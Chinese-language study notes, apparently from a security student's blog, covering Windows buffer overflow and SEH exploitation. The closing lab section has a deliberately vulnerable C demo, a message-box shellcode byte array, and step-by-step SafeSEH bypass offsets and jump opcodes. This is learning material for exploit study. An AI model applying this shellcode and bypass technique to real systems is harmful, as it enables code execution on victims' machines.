I will Make Impossible To I'm possible
-----------LittleHann
看了2個多星期。終於把0DAY這本書給看完了,自己動手將書上的實驗一個一個實現的感覺很不錯,在學習的過程中,也增加了自己的信心。
這里希望做一個小小的總結,不是想說明自己有多牛逼,只是覺得學習應該是一個常思考,常總結的過程,分享一些學習overflow shellcode的學習新的。希望大神路過不要嘲笑我,因為每個人都是這么過來的,如果有幸能看別人有所收獲,那就太好了,一下全是自己的思考和看法,難免有偏頗,希望不吝指正。
1. 關於overflow
對於緩沖區溢出的原理和實現,看雪上有很多帖子,我就不過多賣弄了。我就說說自己的理解:
1.1 首先,要理解的問題的關鍵在CPU的執行機制,無論何時,CPU總是機械的根據EIP指向的地址去執行(系統中有3類總寫,指令總線,地址總線,數據總線)。即CPU總是依據EIP指向的地址去執行下一條指令。也就是說如果我們能控制了EIP,就可以控制CPU,那什么時候我們能控制EIP呢,應該就是在函數結束的時候
ret這條指令會執行 pop eip jmp eip
如果我們通過傳入超長字符串覆蓋了EIP的這段棧空間,也就是控制了EIP,那CPU下一步就可以執行我們的shellcode了。
這張圖是一般的程序的棧空間,我們能控制的變量一般是在局部變量那個位置,我們溢出攻擊的時候一般先用90等junk填充,然后計算出buf的起止位置和到EIP的offset。然后布置shellcode。
1.2 覆蓋SEH指針
我們都知道SEH機制是windows為了解決程序出錯時提供一次補救的機會。
發生異常時系統的處理順序(by Jeremy Gordon):
1.系統首先判斷異常是否應發送給目標程序的異常處理例程,如果決定應該發送,並且目標程序正在被調試,則系統
掛起程序並向調試器發送EXCEPTION_DEBUG_EVENT消息.呵呵,這不是正好可以用來探測調試器的存在嗎?
2.如果你的程序沒有被調試或者調試器未能處理異常,系統就會繼續查找你是否安裝了線程相關的異常處理例程,如果
你安裝了線程相關的異常處理例程,系統就把異常發送給你的程序seh處理例程,交由其處理.
3.每個線程相關的異常處理例程可以處理或者不處理這個異常,如果他不處理並且安裝了多個線程相關的異常處理例程,
可交由鏈起來的其他例程處理.
4.如果這些例程均選擇不處理異常,如果程序處於被調試狀態,操作系統仍會再次掛起程序通知debugger.
5.如果程序未處於被調試狀態或者debugger沒有能夠處理,並且你調用SetUnhandledExceptionFilter安裝了最后異
常處理例程的話,系統轉向對它的調用.
6.如果你沒有安裝最后異常處理例程或者他沒有處理這個異常,系統會調用默認的系統處理程序,通常顯示一個對話框,
你可以選擇關閉或者最后將其附加到調試器上的調試按鈕.如果沒有調試器能被附加於其上或者調試器也處理不了,系統
就調用ExitProcess終結程序.
7.不過在終結之前,系統仍然對發生異常的線程異常處理句柄來一次展開,這是線程異常處理例程最后清理的機會.
再回過頭來看我們上面那張圖,發現SEH也注冊在棧中,棧作為函數間調用的一種處理調度機制,如果我們控制棧中的內容,不久可以控制SEH的調度了嗎?進而人工出發出故障,使SEH處理流程轉入我們的shellcode。
typedef struct _EXCEPTION_REGISTRATION_RECORD
{
struct _EXCEPTION_REGISTRATION_RECORD *Next;
PEXCEPTION_ROUTINE Handler;
} EXCEPTION_REGISTRATION_RECORD;
下面是我在學習SEH的關於故障的一些學習筆記:
異常的類型:
異常ECF可以分為四類:中斷(interrupt)、陷阱(trap)、故障(fault)和終止(abort)
1. 中斷:
中斷是異步發生的,是來自處理器外部的I/O設備的信號的結果。硬件中斷不是由任何一條專門的指令造成的,從這個意義上來說它是異步的。硬件中斷的異常處理程序通常稱為“中斷處理程序(interrpt handler)”。
在當前指令完成執行之后,處理器注意到中斷引腳的電壓變高了,就從系統總線讀取異常號,然后調用適當的中斷處理程序。當處理程序返回時,它就將控制返回給下一條指令,結果程序繼續執行,就好行沒有發生過中斷一樣。從某種程序上來說,中斷(或者叫硬件中斷)是一種正常行為,因為I/O是很正常的。
2. 陷阱
陷阱是有意的異常,是執行一條指令的結果。陷阱程序處理完畢后,將控制返回到下一條指令。
陷阱最重要的用途是在用戶程序和內核之間提供一個像過程一樣的接口,叫“系統調用”。
ntdll.dll就是使用陷阱機制從user mode穿越到kernel mode。
3. 故障
故障由錯誤情況引起,它可能能夠被故障處理程序修正。當故障發生時,處理器將控制轉移給故障處理程序。如果處理程序能夠修正這個錯誤情況,它就將控制返回到引起故障的指令,從而重新執行它。
故障包括:缺頁異常,當指令引用一個虛擬地址,而與該地址相對應的物理頁面不在存儲器中,因此必須從磁盤中取出時,就會發生缺頁異常。缺頁處理程序從下級緩存加載適當的頁面,然后將控制返回給引起故障的指令,當指令再次執行時,相應的物理頁面已經駐留在存儲器中了,指令就可以沒有故障地運行完成了。除0異常也算一種故障。
4. 終止
終止是不可恢復的致命錯誤造成的結果,通常是一些硬件錯誤(這里要和硬件中斷區分開,硬件中斷是一種CPU機制,是正常的)
,而硬件錯誤比如DRAM,SRAM位被損壞時發生的奇偶錯誤。終止處理程序從不將控制返回給應用程序。處理程序將控制返回給abort例程,該例程會終止這個應用程序。
也就是說,我們要做的就是覆蓋這個PEXCEPTION_ROUTINE Handler,然后觸發一個故障,讓程序轉入我們的shellcode執行,當然,這里還要考慮到SafeSEH和SEHOP機制
這本書 A_Crash_Course_on_the_Depths_of_Win32_Structured_Exception_Handling 講SEH相當不錯,深入淺出。
http://pan.baidu.com/share/link?shareid=2499703652&uk=2248499941
1.3 其他利用方式
我目前接觸的就主要是EIP和SEH利用方式了。
其他方面的有多用在瀏覽器上的Heap Spray技術:
利用js或其他腳本申請到大量和內存塊:(90.................................90 + shellcode)...................(90.................................90 + shellcode)
采取這種地毯式的覆蓋技術,使0x0C0C0C0C落在90的概率達到很高的概率,然后slide過90nop,執行shellcode。
還有就是覆蓋虛函數指針的方法,我感覺這也是一種二次間接尋址利用類型的方法,而且條件比較苛刻,前提是程序中要使用虛函數。
2. 跳板技術的理解
關於一些跳板指令的使用和原理,也很有意思。剛開始的時候,確實感覺有些難以理解
2.1 jmp/call esp
咋看一下,這個指令本身沒啥特別,但是放到它的利用場景就有大用處了。這個最普遍的利用場景是放在EIP的位置。根據堆棧平衡原理,函數在執行完之后,ESP應該降低到和EBP的位置,然后執行ret。
也就是說這個時候esp指向的位置一定為EIP下面一個位置,這是一種相對定位,也是跳板利用的思想。不管棧幀怎么移動,這種相對順序是不會變的。我們可以利用這種特性把shellcode放置在jmp esp后面
9090....................90 + jmp esp + shellcode
2.2 相對跳板
有的時候我們用跳板跳進的shellcode中還含有之前在地址覆蓋的時候需要的一些參數信息,這些地址在CPU執行的時候會造成不可預知的指令執行結果。
這個時候有兩種思路:
1. 用相反的指令去抵消它
2. 用相對跳轉指令跳過這段干擾指令
3. shellcode中調用函數
比如在繞過DEP的時候要調用VirtualAlloc函數來申請一段有可執行權限的內存空間,讓shellcode在里面執行。
這里有個理解上的問題是怎么布置棧幀,我們要從匯編和函數調用的本質上理解。
函數調用說白了就是push params call。之后在子函數中就可以通過[EBP + 4N]來引用參數了。所以我們只要能布置好下面的棧空間,就可以調用函數
param1
param2
..
paramN
call func
這種方法用在ret2libc(也叫rop chain)方法中比較多。
4. windows的各種安全機制
從win2000到win7,windows的安全機制不斷再提供,各種安全機制很多,要熟悉記住這些安全機制的對應的版本很重要。這樣才能在不同的場景中考慮到所有的例外情況。
下面是根據ODAY做的一個總結:
windows2000:基本沒有什么安全機制,是很好的實驗靶機
XP:GS(安全cookie) + 變量重排(在編譯時將字符串變量移動到高地址,防止字符串溢出破壞其他的局部變量) + SafeSEH(SEH句柄驗證) + 堆保護(安全拆卸,Heap Cookie) + DEP(NX支持) + ASLR(僅對PEB,TEB進行隨機化)
windows2003:GS(安全cookie) + 變量重排(在編譯時將字符串變量移動到高地址,防止字符串溢出破壞其他的局部變量) + SafeSEH(SEH句柄驗證) + 堆保護(安全拆卸,Heap Cookie) + DEP(NX支持) + ASLR(僅對PEB,TEB進行隨機化)
windows vista:GS(安全cookie) + 變量重排(在編譯時將字符串變量移動到高地址,防止字符串溢出破壞其他的局部變量) + SafeSEH(SEH句柄驗證) + 堆保護(安全拆卸,Heap Cookie,安全快表,元數據加密i) + DEP(NX支持,永久DEP,默認OptOut) + ASLR(PEB,TEB隨機化,堆,棧隨機化,映像加載基址隨機化)
windows 7:GS(安全cookie) + 變量重排(在編譯時將字符串變量移動到高地址,防止字符串溢出破壞其他的局部變量) + SafeSEH(SEH句柄驗證) + 堆保護(安全拆卸,Heap Cookie,安全快表,元數據加密i) + DEP(NX支持,永久DEP,默認OptOut) + ASLR(PEB,TEB隨機化,堆,棧隨機化,映像加載基址隨機化)
以上就是我自己的一些學習心得和總結,下面通過一個實驗,詳細的了解一些shellcode溢出的攻擊過程。
1. 攻擊目標
繞過SafeSEH:
通過這張圖,我們可以看到。要繞過SafeSEH有三種方法(實際上算上堆溢出有四種)。
1. 異常處理函數位於加載模塊(指當前進程和dll模塊)內存范圍之外,DEP關閉
2. 異常處理函數位於加載模塊內存范圍之內,對應模塊未啟動未啟用SafeSEH(安全SEH表為空),同時相應模塊不是純IL
3. 異常處理函數位於加載模塊內存范圍之內,相應模塊啟用SafeSEH,異常處理函數地址包含在安全SEH表中
4. SEH中的異常處理指針指向堆區,即使安全校檢發現了SEH不可信,仍然會調用其已經被修改過的異常處理函數。
實驗的方法:利用加載模塊之外的地址繞過SafeSEH
環境: windows XP 3(關閉DEP) Visual Studio 2008 編譯禁用優化 release版本
DEMO code:
#include <windows.h>
#include <string.h>
#include <stdio.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90"
;
/*
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
//"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x0B\x0B\x29\x00";//address of jmp code
*/
DWORD MyExceptionhandler(void)
{
printf("There is an exception\n");
getchar();
return 1;
}
void test(char * input)
{
char buf[200];
int zero=0;
strcpy(buf,input); //overrun the stack
//__asm int 3; //used to break process for debug
__try
{
zero=1/zero; //generate an exception
}
__except(MyExceptionhandler()){}
}
int main()
{
test(shellcode);
return 0;
}
我們用90填充199個,以為字符串會自動加上一個\x00,所以剛好200個。
設下斷點,OD之后。用SafeSEH插件,查看。
所有的模塊都開啟了SafeSEH,所以我們只能從加載模塊之外尋找跳板指令。
用OllyFindAddr插件尋找 call/jmp dword prt [ebp+N]。
尋找的的是: call [ebp+0x30] :0x00280b0b
因為地址中包含着00,會被strcoy當成截斷符。所以我們不能把shellcode布置在跳板地址后面,只能不知在前面。這也就引出了接下來要介紹的2次跳板技術。
我們通過2字節的相對跳轉指令EBXX回跳一定的字節,再在那個位置放置一個長跳轉指令,最終跳到shellcode起始的位置
通過查看buf到SEH之間的距離,布置shellcode進行探測。90...90(220) + call [ebp + 0x30]地址。除0后跳到我們指定的異常處理函數處。
這里也是最神奇的地方。我們把EBP + 0x30發現它的地址就是SEH NEXT的位置。
這里我是這么理解的,因為SEH chain可以理解是一個連續處理的函數過程,如果上一個SEH Handler不能處理這個異常。
返回ExceptionContinueSearch 表示:“我沒有處理此異常,請你繼續搜索其他的解決方案,抱歉”。
那系統就要繼續順着鏈繼續尋找下一個可以處理的SEH Handler,這本質上就是一個函數棧幀切換的過程,所以EBP記錄着下一個SEH的地址也不奇怪了。我目前只能理解這么多了,詳細的也想不明白,如果有大神知道的話不吝賜教。
所以,我們在SEH NEXT的位置放置一個短跳轉的機器碼:0XEBF6 向后回跳10個字節(因為jmp指令在采用相對地址跳轉的時候是以jmp下一條指令的地址為基准的,而jmp本身2個字節,所以在回跳的時候要將短跳轉的指令的2字節算進去),接着再在前面8字節的位置放置長跳轉指令:0xE92BFFFFFF 回跳213個字節(算進長跳轉的長度)
總結一下:shellcode
shellcode(208 bytes) + 長跳轉(8 bytes) + 短跳轉(4 bytes) + 跳板指令(4 bytes)。空的地方用90補足。
調試后如下:
F8運行后,一切正常,控制流來到了我們的shellcode的起始位置,現在把90替換成我們的執行shellcode就可以了。
這里用failwest的彈框的shellcode,一路下來,和它的感情太深了...
如果換成別的bindshell就可以實現獲得shell的功能。
實驗中可能棧空間的地址會變換,但是也能工作良好,這就充分體現了跳板的強大之處。
做的時候發現在OD調試一步一步的可以彈出框,如果直接雙擊程序,就什么都沒出來。我的理解應該是OD中開啟了特殊模式,導致那段棧空間可以執行,而在普通情況下,由於DEP的關系,導致執行失敗。
也就是說,最好的方法用繞DEP的方法去做這個實驗。DEP以及更高深的問題准備留待以后下一進階階段再開始學習。這段時間的緩沖區就到這里了。接下來的一段時間准備專心研究內核方面的知識,剛好也把ODAY上那一章講內核漏洞的一並閱讀了。
還有就是希望后天的ISCC決賽面試能順利,一定要加油進綠盟。到北京去和那些大神比比看。
希望以后也能一直保持這個習慣,常總結,常思考。繼續潛心研究一些東西。不斷進步吧,小白的一點感想,希望大神不要見笑